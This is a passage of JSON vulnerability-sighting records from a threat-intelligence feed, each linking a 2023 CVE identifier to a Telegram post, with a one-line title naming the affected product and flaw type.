"seen", "source": "https://t.me/ctinow/170321", "content": "https://ift.tt/yhtkMcv\nCVE-2023-47033", "creation_timestamp": "2024-01-19T18:22:04.000000Z"}, {"uuid": "d2bf30b7-1aa1-410a-809d-007835e3154f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47883", "type": "seen", "source": "https://t.me/ctinow/170310", "content": "https://ift.tt/P0IWbSk\nCVE-2023-47883 | com.altamirano.fabricio.tvbrowser up to 4.5.1 on Android MainActivity code injection", "creation_timestamp": "2024-01-19T17:46:32.000000Z"}, {"uuid": "8b91ae7b-0618-4bbb-9c1f-8a0a11a73b6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47852", "type": "seen", "source": "https://t.me/ctinow/167851", "content": "https://ift.tt/BE8Xah5\nCVE-2023-47852 | Link Whisper Free Plugin up to 0.6.5 on WordPress sql injection", "creation_timestamp": "2024-01-13T15:21:53.000000Z"}, {"uuid": "ab811e8c-67ec-4ff1-a6f2-b2fd0935bb86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47507", "type": "seen", "source": "https://t.me/ctinow/167836", "content": "https://ift.tt/yYxM6Bf\nCVE-2023-47507 | Master Slider Pro Plugin up to 3.6.5 on WordPress deserialization", "creation_timestamp": "2024-01-13T14:51:32.000000Z"}, {"uuid": "47fadf34-ac02-4b02-906a-b6e82fa6f39c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47215", "type": "seen", "source": "https://t.me/ctinow/170129", "content": "https://ift.tt/h8XQwxK\nCVE-2023-47215 | WESEEK GROWI up to 5.x cross site scripting", "creation_timestamp": "2024-01-19T10:16:40.000000Z"}, {"uuid": "e887e759-a85b-4a81-86f4-817c697e6477", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47091", "type": "seen", "source": "https://t.me/ctinow/169972", "content": "https://ift.tt/7LvmF4J\nCVE-2023-47091 | Stormshield Network Security Cookie access control", "creation_timestamp": "2024-01-18T22:26:23.000000Z"}, {"uuid": "eeb986ce-0f79-46f5-840f-234607c2a8cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47325", "type": "seen", "source": "https://t.me/ctinow/165674", "content": "https://ift.tt/7lfreiS\nCVE-2023-47325 | Silverpeas Core 6.3.1 Bin access control", "creation_timestamp": "2024-01-10T10:11:46.000000Z"}, {"uuid": "8c243822-cc7e-4c19-93d9-cf051fbbf040", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47320", "type": "seen", "source": "https://t.me/ctinow/165673", "content": "https://ift.tt/u6eC2Bp\nCVE-2023-47320 | Silverpeas Core up to 6.3.1 Maintenance Mode access control", "creation_timestamp": "2024-01-10T10:11:45.000000Z"}, {"uuid": "264b2d29-c4f0-421f-bda1-055e861a8c22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47323", "type": "seen", "source": "https://t.me/ctinow/165671", "content": "https://ift.tt/A7Yp8U4\nCVE-2023-47323 | Silverpeas Core 6.3.1 Message ID access control", "creation_timestamp": "2024-01-10T10:11:43.000000Z"}, {"uuid": "b31acc73-0e40-44ae-b323-532a6c77cbdb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47092", "type": "seen", "source": "https://t.me/ctinow/169964", "content": "https://ift.tt/SdZXkns\nCVE-2023-47092", "creation_timestamp": "2024-01-18T22:21:29.000000Z"}, {"uuid": "61d13015-030f-445f-85f9-e03191d0a358", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47994", "type": "seen", "source": "https://t.me/ctinow/169070", "content": "https://ift.tt/ZjqgJmc\nCVE-2023-47994 Exploit", "creation_timestamp": "2024-01-17T01:16:35.000000Z"}, {"uuid": "e7f83de9-d482-46a9-b1a3-50ae141bb8e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47326", "type": "seen", "source": "https://t.me/ctinow/165696", "content": "https://ift.tt/B7j4ao0\nCVE-2023-47326 | Silverpeas Core 6.3.1 Domain SQL Create cross-site request forgery", "creation_timestamp": "2024-01-10T10:41:22.000000Z"}, {"uuid": "c9a49c0a-4e98-4514-8391-e9216e8ca1cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47324", "type": "seen", "source": "https://t.me/ctinow/165695", "content": "https://ift.tt/vGuB4zw\nCVE-2023-47324 | Silverpeas Core 6.3.1 Notification cross site scripting", "creation_timestamp": "2024-01-10T10:41:21.000000Z"}, {"uuid": "adc3a043-92ad-42c6-8013-0d95fe1c0356", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47322", "type": "seen", "source": "https://t.me/ctinow/165694", "content": "https://ift.tt/qcmkK20\nCVE-2023-47322 | Silverpeas Core 6.3.1 userModify cross-site request forgery", "creation_timestamp": "2024-01-10T10:41:20.000000Z"}, {"uuid": "24676e85-d66f-4b75-9721-e8feb8ac1381", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47321", "type": "seen", "source": "https://t.me/ctinow/165693", "content": "https://ift.tt/qY23Zsg\nCVE-2023-47321 | Silverpeas Core 6.3.1 Porlet Deployer access control", "creation_timestamp": "2024-01-10T10:41:18.000000Z"}, {"uuid": "94b0f8d6-0cb1-4891-be5e-33690368f6fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47559", "type": "seen", "source": "https://t.me/ctinow/172824", "content": "https://ift.tt/mkqygbJ\nCVE-2023-47559 | QNAP QuMagie 2.2.1 cross site scripting (qsa-23-23)", "creation_timestamp": "2024-01-24T15:16:35.000000Z"}, {"uuid": "72938557-1ed7-4aa4-8100-b8c3323d5688", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47560", "type": "seen", "source": "https://t.me/ctinow/172823", "content": "https://ift.tt/XLhT9nj\nCVE-2023-47560 | QNAP QuMagie prior 2.2.1 command injection (qsa-23-23)", "creation_timestamp": "2024-01-24T15:16:33.000000Z"}, {"uuid": "e60b4bf6-4154-4f03-bf34-21c39113a3b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47219", "type": "seen", "source": "https://t.me/ctinow/172822", "content": "https://ift.tt/06oqNQE\nCVE-2023-47219 | QNAP QuMagie prior 2.2.1 sql injection (qsa-23-32)", "creation_timestamp": "2024-01-24T15:16:32.000000Z"}, {"uuid": "c0d2fd85-b3c4-4443-84b6-3c15b494dac5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47304", "type": "seen", "source": "https://t.me/ctinow/158813", "content": "https://ift.tt/nSrdKiQ\nCVE-2023-47304 | Vonage Box Telephone Adapter VDV23 VDV21-3.2.11-0.5.1 UART improper authentication", "creation_timestamp": "2023-12-23T13:46:47.000000Z"}, {"uuid": "a65164a8-e813-4113-962e-7a32f9f0133e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47161", "type": "seen", "source": "https://t.me/ctinow/167780", "content": "https://ift.tt/YiwFSuX\nCVE-2023-47161 | IBM UrbanCode Deploy up to 7.1.2.14/7.2.3.7/7.3.2.2 Archive File input validation (XFDB-270799)", "creation_timestamp": "2024-01-13T10:21:32.000000Z"}, {"uuid": "2252056b-09bd-4426-994c-b11f690defe1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47702", "type": "seen", "source": "https://t.me/ctinow/167779", "content": "https://ift.tt/lLkOATs\nCVE-2023-47702 | IBM Security Guardium Key Lifecycle Manager 4.3 URL path traversal (XFDB-271196)", "creation_timestamp": "2024-01-13T10:21:31.000000Z"}, {"uuid": "c1dab14e-bff4-4180-b7cb-d59b5e6cd96f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47140", "type": "seen", "source": "https://t.me/ctinow/173359", "content": "https://ift.tt/TW4NRvk\nCVE-2023-47140 | IBM CICS Transaction Gateway Containers 9.3 access control (XFDB-270259)", "creation_timestamp": "2024-01-25T10:11:23.000000Z"}, {"uuid": "72d7dcb5-4383-4b7a-8652-67166fc6972c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47145", "type": "seen", "source": "https://t.me/ctinow/173357", "content": "https://ift.tt/nm2bHcW\nCVE-2023-47145 | IBM DB2/DB2 Connect Server 10.5/11.1/11.5 on Windows MSI Repair access control (XFDB-270402)", "creation_timestamp": "2024-01-25T10:11:21.000000Z"}, {"uuid": "2bcc1f53-bfa3-4142-b273-132df1a03293", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47093", "type": "seen", "source": "https://t.me/ctinow/167971", "content": "https://ift.tt/T5FOuUQ\nCVE-2023-47093 | Stormshield Network Security up to 4.3.21/4.6.8/4.7.0 ASQ Engine denial of service", "creation_timestamp": "2024-01-14T09:07:13.000000Z"}, {"uuid": "d8eaf544-d60b-4018-be19-5b431cd2448b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47267", "type": "seen", "source": "https://t.me/ctinow/167790", "content": "https://ift.tt/T5uJtbl\nCVE-2023-47267 | TheGreenBow Standard VPN Client on Windows memory corruption", "creation_timestamp": "2024-01-13T10:51:29.000000Z"}, {"uuid": "24726eb4-9df0-4fcb-98a1-708388b8835e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47191", "type": "seen", "source": "https://t.me/ctinow/168052", "content": "https://ift.tt/gDAxJfc\nCVE-2023-47191 | KaineLabs Youzify Plugin up to 1.2.2 on WordPress authorization", "creation_timestamp": "2024-01-14T15:12:12.000000Z"}, {"uuid": "843321fe-9201-483c-833d-045e3a94a319", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47265", "type": "seen", "source": "https://t.me/ctinow/167983", "content": "https://ift.tt/wJTsj5I\nCVE-2023-47265 | Apache Airflow up to 2.7.3 Parameter description cross site scripting", "creation_timestamp": "2024-01-14T10:11:38.000000Z"}, {"uuid": "c1a735d5-3f38-450d-84ab-3415a746577f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47118", "type": "seen", "source": "https://t.me/ctinow/167865", "content": "https://ift.tt/xd8s7Wr\nCVE-2023-47118 | ClickHouse Service Port 9000 heap-based overflow (GHSA-g22g-p6q2-x39v)", "creation_timestamp": "2024-01-13T15:56:20.000000Z"}, {"uuid": "eaf9f963-1ecd-4a0c-8176-6935bc9cc853", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47525", "type": "seen", "source": "https://t.me/ctinow/168012", "content": "https://ift.tt/t5BqCOA\nCVE-2023-47525 | A WP Life Event Monster Plugin up to 1.3.2 on WordPress cross site scripting", "creation_timestamp": "2024-01-14T12:46:53.000000Z"}, {"uuid": "aaab27f9-8281-4bfe-b7b0-99ecaadc958f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47527", "type": "seen", "source": "https://t.me/ctinow/168008", "content": "https://ift.tt/AN13lDa\nCVE-2023-47527 | Sajjad Hossain Sagor WP Edit Username Plugin up to 1.0.5 on WordPress cross site scripting", "creation_timestamp": "2024-01-14T12:16:16.000000Z"}, {"uuid": "a6c0f2fd-3bdd-4aad-b51e-c28e3fe5fe64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47074", "type": "seen", "source": "https://t.me/ctinow/162858", "content": "https://ift.tt/Gcs479N\nCVE-2023-47074 | Adobe Illustrator 2023/Illustrator 2024 up to 27.9.0/28.0 out-of-bounds (apsb23-68)", "creation_timestamp": "2024-01-04T09:41:48.000000Z"}, {"uuid": "85f8019a-0507-4e8e-a224-94ccb5993db7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47458", "type": "seen", "source": "https://t.me/ctinow/162054", "content": "https://ift.tt/LdhgBpW\nCVE-2023-47458", "creation_timestamp": "2024-01-02T22:26:50.000000Z"}, {"uuid": "88d339c4-0c34-4da8-9385-18757c318c77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47784", "type": "seen", "source": "https://t.me/ctinow/167904", "content": "https://ift.tt/G10yXsr\nCVE-2023-47784 | ThemePunch OHG Slider Revolution Plugin up to 6.6.15 on WordPress unrestricted upload", "creation_timestamp": "2024-01-13T19:56:42.000000Z"}, {"uuid": "1a91001c-cbcd-4042-b325-1c7527dc8574", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47990", "type": "seen", "source": "https://t.me/ctinow/167900", "content": "https://ift.tt/kIK0Zd3\nCVE-2023-47990 | SQL CuppaCMS 1.0 edit_admin_table.php table sql injection", "creation_timestamp": "2024-01-13T19:26:52.000000Z"}, {"uuid": "4b69ead6-4fc8-498d-9fd2-bfee941df0ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47146", "type": "seen", "source": "https://t.me/ctinow/167787", "content": "https://ift.tt/EjRi5vt\nCVE-2023-47146 | IBM QRadar SIEM 7.5 information disclosure (XFDB-270372)", "creation_timestamp": "2024-01-13T10:21:41.000000Z"}, {"uuid": "3d71b92c-fbb5-4983-bb62-dbbecf8456ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47706", "type": "seen", "source": "https://t.me/ctinow/167786", "content": "https://ift.tt/Mz1PIdp\nCVE-2023-47706 | IBM Security Guardium Key Lifecycle Manager 4.3 unrestricted upload (XFDB-271341)", "creation_timestamp": "2024-01-13T10:21:40.000000Z"}, {"uuid": "6434f60f-3201-4d25-879d-423c492cc493", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47704", "type": "seen", "source": "https://t.me/ctinow/167785", "content": "https://ift.tt/QONS4Ut\nCVE-2023-47704 | IBM Security Guardium Key Lifecycle Manager 4.3 Source Code hard-coded credentials (XFDB-271220)", "creation_timestamp": "2024-01-13T10:21:38.000000Z"}, {"uuid": "d4681b93-e75e-4e5a-9f77-6a18a7dd5bfb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47236", "type": "seen", "source": "https://t.me/ctinow/167829", "content": "https://ift.tt/8drsi9w\nCVE-2023-47236 | Avirtum iPages Flipbook Plugin up to 1.4.8 on WordPress sql injection", "creation_timestamp": "2024-01-13T14:21:20.000000Z"}, {"uuid": "55a7859e-c049-4bf8-a513-9504d3c86cce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47473", "type": "seen", "source": "https://t.me/ctinow/171941", "content": "https://ift.tt/2KzrNnp\nCVE-2023-47473 | fuwushe iFair up to 23.8_ad0 path traversal", "creation_timestamp": "2024-01-23T13:31:49.000000Z"}, {"uuid": "6916999b-2e13-4743-8cba-f37e37fafe11", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47558", "type": "seen", "source": "https://t.me/ctinow/167253", "content": "https://ift.tt/2uBXlvY\nCVE-2023-47558 | Mahlamusa Who Hit The Page Plugin up to 1.4.14.3 on WordPress sql injection", "creation_timestamp": "2024-01-12T14:06:49.000000Z"}, {"uuid": "a944f4f9-e8d5-42cc-8268-37be102d1caf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47530", "type": "seen", "source": "https://t.me/ctinow/167252", "content": "https://ift.tt/I8oRBkh\nCVE-2023-47530 | WPVibes Redirect 404 Error Page to Homepage or Custom Page with Logs Plugin sql injection", "creation_timestamp": "2024-01-12T14:06:47.000000Z"}, {"uuid": "45aa8041-02d9-4a81-9f4d-a4b7de0ff58a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47506", "type": "seen", "source": "https://t.me/ctinow/167251", "content": "https://ift.tt/bCOKSoh\nCVE-2023-47506 | Master Slider Pro Plugin up to 3.6.5 on WordPress sql injection", "creation_timestamp": "2024-01-12T14:06:46.000000Z"}, {"uuid": "645bc2ff-fa73-44ed-a88a-0f7b0b9ed93a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47473", "type": "seen", "source": "https://t.me/ctinow/162255", "content": "https://ift.tt/tRbC713\nCVE-2023-47473", "creation_timestamp": "2024-01-03T08:26:24.000000Z"}, {"uuid": "95f89f78-e8f8-4677-adcc-240834241c28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47787", "type": "seen", "source": "https://t.me/ctinow/167174", "content": "https://ift.tt/BFD47LE\nCVE-2023-47787 | WooCommerce Bookings Plugin up to 2.0.3 on WordPress cross-site request forgery", "creation_timestamp": "2024-01-12T10:06:48.000000Z"}, {"uuid": "3067130d-5883-4fda-8cae-0a97ee9859c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47806", "type": "seen", "source": "https://t.me/ctinow/167173", "content": "https://ift.tt/HxU8JlP\nCVE-2023-47806 | Saint Systems Disable User Login Plugin up to 1.3.7 on WordPress cross-site request forgery", "creation_timestamp": "2024-01-12T10:06:47.000000Z"}, {"uuid": "111f9aff-3777-4805-b5cf-3b2eda13c1f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47459", "type": "seen", "source": "https://t.me/ctinow/172383", "content": "https://ift.tt/cs04RFK\nCVE-2023-47459 Exploit", "creation_timestamp": "2024-01-23T23:16:25.000000Z"}, {"uuid": "3c640d51-df59-4a69-b488-77ed8bfa8b6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47194", "type": "seen", "source": "https://t.me/ctinow/172353", "content": "https://ift.tt/MHnULhG\nCVE-2023-47194", "creation_timestamp": "2024-01-23T22:27:07.000000Z"}, {"uuid": "660587b7-59a5-4a9d-90c9-115db7b5d889", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47193", "type": "seen", "source": "https://t.me/ctinow/172352", "content": "https://ift.tt/fUlbHn8\nCVE-2023-47193", "creation_timestamp": "2024-01-23T22:27:03.000000Z"}, {"uuid": "ff2f8fb5-e435-4c56-842b-ec5e8265e52a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47192", "type": "seen", "source": "https://t.me/ctinow/172351", "content": "https://ift.tt/MLxstn3\nCVE-2023-47192", "creation_timestamp": "2024-01-23T22:27:02.000000Z"}, {"uuid": "c2afc939-6db8-4341-8355-1cf4b2a05fd1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47077", "type": "seen", "source": "https://t.me/ctinow/162890", "content": "https://ift.tt/wDgbuiA\nCVE-2023-47077 | Adobe InDesign up to 18.5.0/19.0 out-of-bounds (apsb23-70)", "creation_timestamp": "2024-01-04T10:36:53.000000Z"}, {"uuid": "ce719cae-6232-4f5f-a6ad-1a8f83da1223", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47076", "type": "seen", "source": "https://t.me/ctinow/162880", "content": "https://ift.tt/XAhBeC3\nCVE-2023-47076 | Adobe InDesign up to 18.5.0/19.0 null pointer dereference (apsb23-70)", "creation_timestamp": "2024-01-04T10:11:28.000000Z"}, {"uuid": "556bbd3b-ae72-4c24-a764-a2b78f6f0150", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47578", "type": "seen", "source": "https://t.me/ctinow/162879", "content": "https://ift.tt/OEAisjS\nCVE-2023-47578 | Relyum RELY-PCIe/RELY-REC 22.2.1/23.1.0 Web Interface cross-site request forgery", "creation_timestamp": "2024-01-04T10:11:27.000000Z"}, {"uuid": "3a55c3b3-e641-4477-94ce-e8921d7625a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47575", "type": "seen", "source": "https://t.me/ctinow/162878", "content": "https://ift.tt/MATUNB1\nCVE-2023-47575 | Relyum RELY-PCIe/RELY-REC Web Interface cross site scripting", "creation_timestamp": "2024-01-04T10:11:26.000000Z"}, {"uuid": "c68351e1-9de4-4c08-97f1-d7b562478354", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47115", "type": "seen", "source": "https://t.me/ctinow/172427", "content": "https://ift.tt/ZGTDgq1\nCVE-2023-47115", "creation_timestamp": "2024-01-24T00:26:57.000000Z"}, {"uuid": "22e1298c-1081-4bef-83c9-081f23f493c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47573", "type": "seen", "source": "https://t.me/ctinow/162862", "content": "https://ift.tt/E0aKv2L\nCVE-2023-47573 | Relyum RELY-PCIe 22.2.1 Web Interface improper authorization", "creation_timestamp": "2024-01-04T09:41:52.000000Z"}, {"uuid": "debee7e3-3262-4816-bbfa-c760707290bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47202", "type": "seen", "source": "https://t.me/ctinow/172361", "content": "https://ift.tt/XHeTLAK\nCVE-2023-47202", "creation_timestamp": "2024-01-23T22:27:19.000000Z"}, {"uuid": "cba44e70-ea64-4366-95e8-86f894936852", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47201", "type": "seen", "source": "https://t.me/ctinow/172360", "content": "https://ift.tt/dy7ZaF6\nCVE-2023-47201", "creation_timestamp": "2024-01-23T22:27:18.000000Z"}, {"uuid": "451f9124-7657-4167-b037-b003944430a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47200", "type": "seen", "source": "https://t.me/ctinow/172359", "content": "https://ift.tt/SUaphqo\nCVE-2023-47200", "creation_timestamp": "2024-01-23T22:27:16.000000Z"}, {"uuid": "278c9c2e-abec-44b9-acd6-f840d31fba81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47199", "type": "seen", "source": "https://t.me/ctinow/172358", "content": "https://ift.tt/B8lyVW3\nCVE-2023-47199", "creation_timestamp": "2024-01-23T22:27:15.000000Z"}, {"uuid": "4105ce68-3db8-4832-b892-ea3251afd4ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47198", "type": "seen", "source": "https://t.me/ctinow/172357", "content": "https://ift.tt/HiTYOv4\nCVE-2023-47198", "creation_timestamp": "2024-01-23T22:27:11.000000Z"}, {"uuid": "385322c6-4356-44a0-b42b-93d87e45a68d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47196", "type": "seen", "source": "https://t.me/ctinow/172355", "content": "https://ift.tt/31AX0iY\nCVE-2023-47196", "creation_timestamp": "2024-01-23T22:27:09.000000Z"}, {"uuid": "606b42ab-6631-4fc4-b780-05d008cc6901", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4797", "type": "seen", "source": "https://t.me/ctinow/172138", "content": "https://ift.tt/F0q4nyH\nCVE-2023-4797 Exploit", "creation_timestamp": "2024-01-23T17:16:57.000000Z"}, {"uuid": "e8fa59d9-adf8-4a66-bb5c-56a46740b4b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4703", "type": "seen", "source": "https://t.me/ctinow/172380", "content": "https://ift.tt/hKtl4JX\nCVE-2023-4703 Exploit", "creation_timestamp": "2024-01-23T23:16:22.000000Z"}, {"uuid": "a74976b2-1ecf-4477-8ade-6b5ccde65df4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47197", "type": "seen", "source": "https://t.me/ctinow/172356", "content": "https://ift.tt/y0setgW\nCVE-2023-47197", "creation_timestamp": "2024-01-23T22:27:10.000000Z"}, {"uuid": "a52f0c46-2b0c-4c4e-9550-1a74c75d4a04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47195", "type": "seen", "source": "https://t.me/ctinow/172354", "content": "https://ift.tt/0UZvB9k\nCVE-2023-47195", "creation_timestamp": 